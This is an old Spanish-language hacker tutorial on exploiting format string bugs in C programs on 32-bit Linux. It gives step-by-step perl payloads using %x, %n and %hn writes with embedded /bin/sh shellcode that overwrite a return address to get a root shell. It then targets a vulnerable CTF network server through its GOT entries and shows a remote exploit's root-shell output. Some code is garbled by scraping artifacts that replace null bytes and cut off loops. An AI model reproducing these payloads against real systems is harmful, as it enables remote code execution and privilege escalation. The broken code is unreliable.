Analiza los format string bugs, utilizando gdb, perl y programacion en c, con un ejemplo.
Texto Completo:
Explotando Format Bugs
Por 0x90 (
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
)
I. Introduccion
Los format bugs son ya una cosa cotidiana en la explotacion y se pueden
ver un monton de textos y de exploits por todos lados, porque hacer otro
mas?, porque simplemente no hay uno bueno en español y los que he visto
fallan de algunas cosas que son obvias tal vez cuando ya las sabes hacer
pero cuando estas intentado explotar tu primer format bug son un dolor de
cabeza.
Aqui veremos varios ejemplos de format bugs y varias tecnicas, no son
todas ni las mas avanzadas pero bueno al menos podran explotar su format
bug al final de este articulo.
Bien importante si no saben C se la van a pasar en blanco casi con este
articulo y si ustedes son de los que cuando hace segmentation fault lo
primero que dicen es qu ees una denegacion de servicio en lugar de un
buffer overflow todavia mas. Intentare irme a lo basico pero no cuenten
con ello.
II. printf y su familia
Hay muchas funciones que imprimen a la pantalla, write, printf y demas,
ademas de imprimir en archivos, cual es el problema en el cual tomas
control de todo el problema?.
Veamos con un ejemplito:
---fmt.c---
#include
#include
int main(int argc, char **argv)
{
char buf[256];
unsigned long test=&test;
char buf2[12]="aaaaaaaaaaa\x00";
snprintf(buf,256,argv[1]); //here's the problem
buf[255]='{jumi [*3] [http://www.govannom.org/seguridad/f_bugs/f_bugs_by_0x90.txt]}';
printf("%s\n",buf);
printf("%x\n",test);
printf("%s adr: %.8x\n",buf2,&buf2);
return 0;
}
---fmt.c---
Como puedes ver el problema esta en el sprintf(), porque? porque no le
estamos diciendo que formato usar para los datos, y lo espera en su
funcion:
int sprintf(char *str, const char *format, ...);
Asi pues que pasa si se encuentra un %x pero no hay nada? toma lo
siguiente que hay en el stack para imprimirlo, pero que es?, pues todo el
stack! hasta las direcciones de retorno!!! y que pasa cada vez que
imprimes?, simplemente lo saca del stack porque como ya lo imprimio? y es
lo que llamamos "Avanzar el stack".
Que pasa cuando jalamos el programa?
0x8048430 : push %ebp
0x8048431 : mov %esp,%ebp
0x8048433 : push %edi
0x8048434 : push %esi
Salvamos la direccion de retorno, la direccion del stack (Frame pointer)
empujamos todo al stack y empezamos a inicializar las variables. Para que
nos sirve la direccion de retorno?, bueno per se un programa nunca
termina, es decir, tu regresas control al programa anterior, que programa
tenias antes? el shell. Como vez? ahh verdad los puristas de asm ahora si
estaran felices de la rectificacion de pendejadas que siempre se cometen
en este tema, bueno a seguir.
[root@XtremeLinux format]# ./fmt
AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x
AAAA000007d961616161616161610061616140013bc80000000340013e4800000001bffff
a0c41414141
bffffa0c
aaaaaaaaaaa adr: bffff9f0
[root@XtremeLinux format]#
Que vemos aqui? Se ve un desmadre vamos a poner espacios para ver mejor,
hay que ponertodo dentro de "" para que sepa que sigue siendo argv[1]
okas?
[root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x
%.8x %.8x %.8x"
AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48
00000001 bffff9fc 41414141
bffff9fc
aaaaaaaaaaa adr: bffff9e0
[root@XtremeLinux format]#
Ahh que puta diferencia!!! hay algunas cosas que como que se me hacen
medio conocidas:
A == 0x41 (hexadecimal)
a == 0x61 (hexadecimal)
Del fmt.c vemos que:
char buf[256];
unsigned long test=&test;
char buf2[12]="aaaaaaaaaaa\x00";
Vemos AAAA luego algo raro luego 61616161 que es aaaa luego 00616161
(aaa{jumi [*3] [http://www.govannom.org/seguridad/f_bugs/f_bugs_by_0x90.txt]}) luego parte del syscal de kernel, un argumento, otra direccion,
un 1, luego una direccion y luego 41414141, que sera la direccion? la
direccion de donde esta test chequen que es la misma que se imprime un
renglon abajo.
Entonces ya sabemos donde estamos no?, si ... no ... si ... no .. no han
entendido? man printf, gdb ./fmt y art of assembly si que les van a
ayudar.
Escribamos sobre alguna direccion, empecemos a escribir sobre la
direccion de test como ven?, no no les estoy preguntando chingada
madre... vamos a escribir y me vale madre.
Para escribir usamos %n, es muy importante recordar que %n imprime el
numero de caracteres que se debarian de haber impreso hasta ese momento,
chequen como digo el numero de chars que se DEBERIAN de haber impreso no
los que se han impreso okas??
Veamos en fmt:
[root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x
%.8x %n %.8x"
AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48
00000001 41414141
4c
aaaaaaaaaaa adr: bffff9e0
[root@XtremeLinux format]#
Verga, cambio la direccion a 4c y ademas ya no aparecio en el siguiente
%.8x, porque?, por lo que les habia comentado lo saca del stack, y de que
nos sirve esto?...
Si todavia se preguntan esto lentamente cierra este documento, apaga tu
computadora destruye tus libritos de como hackear hotmail, de como
isntalar subseven y suicidate. Gracias menos script kiddiez.
Okas no te has suicidado o no me hiciste puto caso o quieres aprender
(Bravo! neesitamos menos weyes que roben programas de los demas y menos
weyes que sean pendejos ./). Si queremos veamos si queremos escribir
0xbeef pondriamos 48811 veamos:
[root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x
%.48811x %n %.8x"
AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48
0000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000
beef
aaaaaaaaaaa adr: bffff9e0
[root@XtremeLinux format]#
Pero, pero 48811 en hexa no es beef, claro que no estas tomando en cuenta
todos los otros chars que estas imprimiendo tambien o no? ahhhhh verdad?
suma y veras que si da =)
Si quisieras escribir 0xbfffbeef tendrias que mandar alrededor de 250+
megas a la consola lo cual duraria entre 5 y 10 minutos, que hueva no?
PERO si leemos lo que es la especificacion de %n podemos ver que es swtch
h es un half world write, es decir solo escribe 2 bytes en lugar de los
4, que quiere decir esto? chequen:
[root@XtremeLinux format]# ./fmt "AAAA%.8x %.8x %.8x %.8x %.8x %.8x %.8x
%.48811x %hn %.8x"
AAAA000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48
0000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000
bfffbeef
aaaaaaaaaaa adr: bffff9e0
[root@XtremeLinux format]#
VERGA! escribimos una direccion de donde tomo la otra parte? de la parte
que estaba ahi, solo escribimos 2 bytes o sea 16 bits de la direccion no
los 32 buts completos. para que nos sirve esto? para poder hacer
escrituras en dos partes y por lo tanto poder escribir mas rapido y con
mas exactitud.
Pero como puedo hacer para escribir en un lugar chingon?, chingon
escribir en cualquier lugar pero no querias chigar el puto EIP o algo del
GOT no? bueno bueno si le pones la direccion de donde quieres escribir
puedes cambiar lo que quieras de esa direccion, checa:
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x3c\xf9\xff\xbf";
print "\x90" x 200; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%n%.8x";'`
ùÿ¿AAAA000007d961616161616161610061616140013bc80000000
bfb3
aaaaaaaaaaa adr: bffff920
[root@XtremeLinux format]#
El half word write sigue funcionando?? veamos:
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x3c\xf9\xff\xbf";
print "\x90" x 200; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%hn%.8x";'`
ùÿ¿AAAA000007d961616161616161610061616140013bc80000000
bfffbfb3
aaaaaaaaaaa adr: bffff920
[root@XtremeLinux format]#
Pues si si jalo pero como se que en serio estoy escribiendo donde debe?
cambia la dir a ver que pasa =)
[root@XtremeLinux format]# ./fmt `perl -e 'print "\xcc\xf9\xff\xbf";
print "\x90" x 200; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%hn%.8x";'`
ùÿ¿»¿AAAA000007d961616161616161610061616140013bc80000000
bffff92c
aaaaaaaaaaa adr: bffff910
[root@XtremeLinux format]#
Chequen una cosita tuve que poner uno de mas para que se fue a la dir!!!
es por el extra pop =), los pops pueden variar por uno en caso de tu gcc,
ya que algunos (arriba del gcc 2.95) alinean %8 para mayor velocidad asi
que tienes un pop de mas ...
Es mas veamos si podemos poner una direccion completa nosotros no? como
modificamos la primera parte?, bueno lo que haces es que hacemos dos %hn
pero entre canda uno ponemos BBBB (4 bytes) para que sea el input de
printf() y que no te de segfault en sistemas extraŽños (asi tenemos
completa generalidad en la explotacion).
entonces queda:
<4 bytes>%hn<%x>%hn
asi pues:
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf";
print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 192; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%hn%.1000x%hn";'`
,%/1€Žiso8859-15ùÿ¿AAAA.%/1€Žiso8859-
15ùÿ¿AAAA000007d961616161616161610061616140013bc80000000
c3a3bfbb
aaaaaaaaaaa adr: bffff910
[root@XtremeLinux format]#
Como ponemos las direcciones? ahi esta lo duro y tupido. Veamos veamos
...
La primera fase es facil beef == 48879 y le quitamos lo que hemos impreso
208 bytes (4 de la primera direccion, 4B, 4 de la segunda y 192 nops),
tambien le quitamos 8 veces el del 8 programas (8 * 8 == 64) o sea el
primero es 48607. De ahi sigue le segunda parte que esta un poco mas
dificil como vamos a hacer un short write solo vamos a escribir 2 bytes
(0xffff no 0xffffffff), pero ya escribimos un chingo, entonces hay que
ver que pedo, hacemos un wrap around, es decir subtraemos lo que ya
escribimos de 1bfff y le ponemos lo que queremos escribir!
1bfff - beef = 65808
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf";
print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 192; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn";'`
,%/1€Žiso8859-15ùÿ¿AAAA.%/1€Žiso8859-
15ùÿ¿AAAA000007d961616161616161610061616140013bc80000000
bfffbeef
aaaaaaaaaaa adr: bffff910
[root@XtremeLinux format]#
Ya dio miedo no? y de que chingados me sirve eso?, pues que tal escribir
cualquier direccion que quieras? y donde quieras? ...
Toma en cuenta que las primeras direcciones son donde quieres escribir y
la segunda la direccion que quieres escribir, veamos primero chequemos
donde esta nuestro buffer y de paso le ponemos shellcode digo para que de
un shell o algo asi bonito no?
Vamos a usar este shellcode:
"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x15
\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x31\
xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\"
Un simple execve() de /bin/sh, nada raro ...
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf";
print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 138; print
"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x
15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3
1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn";'`
1%/1€’iso8859-
15ÒÍèæÿÿÿ/bin/sh"AAAA000007d961616161616161610061616140013bc80000000
bfffbeef
aaaaaaaaaaa adr: bffff910
[root@XtremeLinux format]#
Ahora escribimos en otro lugar para ver que direccion esta test:
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x4c\xf9\xff\xbf";
print "AAAA"; print "\x4e\xf9\xff\xbf"; print "\x90" x 138; print
"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x
15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3
1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn";'`
1%/1€’iso8859-
15ÒÍèæÿÿÿ/bin/sh"AAAA000007d961616161616161610061616140013bc80000000
bffff92c
aaaaaaaaaaa adr: bffff910
[root@XtremeLinux format]#
0xbffff92c es la direccion donde esta test, donde estara nuestro buffer?
256 bytes abajo!, le sumamos unos 16 mas para poder caer bien en los NOPs
(0x90 es una ayudita no?) entonces nuestro buffer estara en la direccion
0xbffff83c, vamos a armar la direccion primero
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x2c\xf9\xff\xbf";
print "AAAA"; print "\x2e\xf9\xff\xbf"; print "\x90" x 138; print
"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x
15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3
1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.63276x%hn%.51139x%hn";'`
1%/1€’iso8859-
15ÒÍèæÿÿÿ/bin/sh"AAAA000007d961616161616161610061616140013bc80000000
bffff83c
aaaaaaaaaaa adr: bffff910
[root@XtremeLinux format]#
Escribir sobre la direccion de test para verificar si lo hice bien, yo si
y tu? ...
Ahora vamos a lo dificil escribir sobre el EIP, donde estara el eip?
esta 8 bytes abajo del buffer que esta 256 bytes abajo de la variable
test, asi como sabemos la direccion de test (0xbffff92c) le restamos y
escribimos ahi:
[root@XtremeLinux format]# ./fmt `perl -e 'print "\x24\xf8\xff\xbf";
print "AAAA"; print "\x26\xf8\xff\xbf"; print "\x90" x 138; print
"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x
15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3
1\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh\x90\""; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.63276x%hn%.51139x%hn";'`
bffff92c
aaaaaaaaaaa adr: bffff910
sh-2.05a#
mira mira! ya pudimos explotar codigo, ahora que pasa si escribes dentro
del GOT? el GOT es la parte del heap en donde esta toda la tabla de
comandos que se ejecutan en cada programa. Hace poco hubo un con e
hicieron un catura la bandera, como taba carito no pude ir pero dejaron
la solucion y los programas dentro de su paginita: www.g-con.org
Uno de esos era un programa que tenia un format bug, remoto para esos es
poder tener una entrada de got para que funcione siempre porque el stak
se puede mover mucho ademas que bueno aqui medio veiamos el stack, en
este tambien un poco pero sirve para usar la siguiente forma de ataque al
GOT.
Aqui esta el programa que tenian ellos en el server:
---listado.c---
#include
#include
#include
#include
#include
#include
#define INFO_PONENCIAS '1'
#define INFO_GCON '2'
#define INFO_PONENTES '3'
#define SALIR '4'
#define MENU '5'
struct _ponentes {
char *ponente;
char *informacion;
char *ponencia;
} ponencias[] = {
{"pepito", "ponente en blackhat", "como romper pepitos"},
{"anakata", "http://www.anakata.hack.se", "Complex
explotation scenarios, including memcpy(), also various shellcodes."},
{"aitel", "Dave Aitel es el fundador y consultor de
seguridad de Immunity, Inc. Sus contribuciones publicas al mundo de la
seguridad incluyen SPIKE, suite de aplicaciones de control y analisis. Y
Vulnerabilidades en mayor manera hacia sistemas Windows NT RPC y
Microsoft Exchange y Microsoft SQL Server 2000.", "Advanced windows
overflows"},
{"richarte", "Gerardo Richarte es Director de CORE SECURITY
TECHNOLOGIES.", "Advanced PTrace explotation and Automated Pentesting."},
{"guillermo", "Kaspersky Lab Chief Research Officer.",
"Advanced PE Steganographic infection"},
{"enrique", "Kaspersky Lab Chief Technicall Officer.",
"Advanced polimorfic virus with steganographic parser on UNIX, Beating
the forensics analizis (Stego tool) and Taking over a corporative network
in less than 50 lines of C code"},
{NULL, NULL, NULL}
};
void ImpMenu(int fd, char *nombre);
void Info_Ponencias(int fd);
void Info_Gcon(int fd);
void Info_Ponentes(int fd);
char ObtOpcion();
int main(void) {
char opcion = 0;
int i = 0, cli_size;
char nombre[256];
int s, c;
struct sockaddr_in ser, cli;
bzero(nombre, sizeof(nombre));
if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
return -1;
}
ser.sin_family = AF_INET;
ser.sin_addr.s_addr = INADDR_ANY;
ser.sin_port = htons((unsigned short int)9999);
if(bind(s, (struct sockaddr *)&ser, sizeof(ser)) == -1) {
perror("bind()");
return -1;
}
if(listen(s, 3) == -1) {
perror("listen()");
return -1;
}
while(1) {
if((c = accept(s, (struct sockaddr *)&cli, &cli_size)) == -1) {
perror("accept()");
continue;
}
write(c, "Introduce tu nombre: ", strlen("Introduce tu nombre: "));
read(c, nombre, sizeof(nombre)-1);
if(nombre[strlen(nombre)-1] == '\n') nombre[strlen(nombre)-
1]='{jumi [*3] [http://www.govannom.org/seguridad/f_bugs/f_bugs_by_0x90.txt]}';
ImpMenu(c, nombre);
while(1) {
opcion = 0;
while(!opcion)
opcion = ObtOpcion(c);
switch(opcion) {
case MENU: ImpMenu(c, nombre); break;
case INFO_PONENCIAS: Info_Ponencias(c); break;
case INFO_GCON: Info_Gcon(c); break;
case INFO_PONENTES: Info_Ponentes(c); break;
case SALIR:
write(c, "\r\n\r\nAplicacion saliendo...\n",
strlen("\r\n\r\nAplicacion saliendo...\n"));
// close(c); close(s);
exit(0); break;
}
}
close(c);
}
if(c) close(c);
close(s);
return 0;
}
void ImpMenu(int fd, char *nombre) {
char menu[4096];
bzero(menu, sizeof(menu));
snprintf(menu, 4095, "\nBienvenido %s, escoje una opcion:\nmenu :
Imprime el menu\n1 : Informacion sobre las ponencias\n2 :
Informacion sobre g-con\n3 : Informacion sobre los ponentes\n4 :
Salir\n\n", nombre);
write(fd, menu, strlen(menu));
}
void Info_Ponencias(int fd) {
int num = 0, x = 0, y = 0, i;
char ponente[256], actual[256], original[256];
bzero(ponente, sizeof(ponente));
bzero(original, sizeof(original));
while(ponencias[num].ponencia) num++;
write(fd, "Escribe nombre del ponente: ", strlen("Escribe nombre del ponente: "));
read(fd, ponente, sizeof(ponente)-1);
if(ponente[strlen(ponente)-1] == '\n') ponente[strlen(ponente)- 1]='{jumi [*3] [http://www.govannom.org/seguridad/f_bugs/f_bugs_by_0x90.txt]}';
strcpy(original, ponente);
for(i=0;i ", 2);
read(fd, car, 255);
car[255]=0;
if(car[strlen(car)-1] == '\n') car[strlen(car)-1] = '{jumi [*3] [http://www.govannom.org/seguridad/f_bugs/f_bugs_by_0x90.txt]}';
if(strlen(car) < 3) {
switch(car[0]) {
case INFO_PONENCIAS: return INFO_PONENCIAS;
break;
case INFO_GCON: return INFO_GCON; break;
case INFO_PONENTES: return INFO_PONENTES; break;
case SALIR: return SALIR; break;
}
}
if(!strcmp(car, "menu")) return MENU;
snprintf(buf, sizeof(buf)-1, "opcion %s no valida\n", car);
write(fd, buf, strlen(buf));
return 0;
}
---listado.c---
Veamos entonces:
[root@XtremeLinux Format_App]# ./listado2 &
[root@XtremeLinux Format_App]# nc -vvn 127.0.0.1 9999
(UNKNOWN) [127.0.0.1] 9999 (?) open
Introduce tu nombre: 0x90
Bienvenido 0x90, escoje una opcion:
menu : Imprime el menu
1 : Informacion sobre las ponencias
2 : Informacion sobre g-con
3 : Informacion sobre los ponentes
4 : Salir
> 3
Escribe nombre del ponente: AAAA%.8x%.8x%.8x%.8x%.8x
No se encontro ningun ponente llamado
AAAA000000004141414178382e2578382e2578382e25
> 4
Aplicacion saliendo...
sent 34, rcvd 347
[root@XtremeLinux Format_App]#
Pues si ahi esta el puto format bug, vamos vamos!!! si se puede si se
puede!
Okas primero veamos que putas funciones corre y en que direccion estan:
[root@XtremeLinux Format_App]# objdump -R listado2
listado2: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804acb8 R_386_GLOB_DAT __gmon_start__
0804ac6c R_386_JUMP_SLOT __register_frame_info
0804ac70 R_386_JUMP_SLOT write
0804ac74 R_386_JUMP_SLOT strcmp
0804ac78 R_386_JUMP_SLOT perror
0804ac7c R_386_JUMP_SLOT accept
0804ac80 R_386_JUMP_SLOT tolower
0804ac84 R_386_JUMP_SLOT listen
0804ac88 R_386_JUMP_SLOT __deregister_frame_info
0804ac8c R_386_JUMP_SLOT strstr
0804ac90 R_386_JUMP_SLOT strlen
0804ac94 R_386_JUMP_SLOT __libc_start_main
0804ac98 R_386_JUMP_SLOT bind
0804ac9c R_386_JUMP_SLOT snprintf
0804aca0 R_386_JUMP_SLOT bzero
0804aca4 R_386_JUMP_SLOT exit
0804aca8 R_386_JUMP_SLOT htons
0804acac R_386_JUMP_SLOT socket
0804acb0 R_386_JUMP_SLOT read
0804acb4 R_386_JUMP_SLOT strcpy
[root@XtremeLinux Format_App]#
tenemos las direcciones ahora solo tenemos que ver que pedo con ellas:
Todo el desmadre esta en Info_Ponentes()
---listado.c---
....
....
if(!x) {
write(fd, "\r\n", 2);
write(fd, "No se encontro ningun ponente llamado ",
strlen("No se encontro ningun ponente llamado "));
bzero(actual, sizeof(actual));
snprintf(actual, sizeof(actual)-1, original);
write(fd, actual, strlen(actual));
write(fd, "\n", 1);
}
....
....
---listado.c---
chequen el snprintf() pusieron un strcpy() arriba para despistar pero los
tamanios son los mismos ni pedo la vida es asi al format =/
Bueno entonces tenemos que podemos hacer el format y sabemos donde esta,
podemos sobrescribir el write o sobrescribir el exit y despues mandar el
4 para que salga y te de el pinche shell la que quieras, hay pen pequeño
puto problema:
Ven dentro de listado.c la siguiente puta linea??
for(y=0;y execve()->/bin/sh si no no jala!),
puta madre ahora que hacemos?, pues nada we nada, tomar la direccion del
original a ese no le aplican el pinche tolower()!!! a buscar a buscar en
el gdb hay que buscar ... no es bonito y les da mucha ilusion?
Quien sabe usar gdb quien quien quien? nadie? pocos? muchos?
manden 41424344 y busquenlo en la memoria, de ahi saben la direccion que
deben ustedes de poner en la escritura, yo recomiendo usar exit() ya que
write truena bastante, jala bonito eh .. bastante:
[root@XtremeLinux g-con]# ./x-listado 127.0.0.1
sending
Linux XtremeLinux.raza-mexicana.org 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT
2002 i686 unknown
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
exit
[root@XtremeLinux g-con]#
Bueno eso es todo, la hueva intrinseca no da para mas, en caso de tener
algun problema
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
y les contesto.
Intentenle y calenle, hay de todo por ahi, como ataques a syslog() y
demas. Prometo escribir la version avanzada en la proxima ezine. 0x90
"The louder the music the better the code!"
|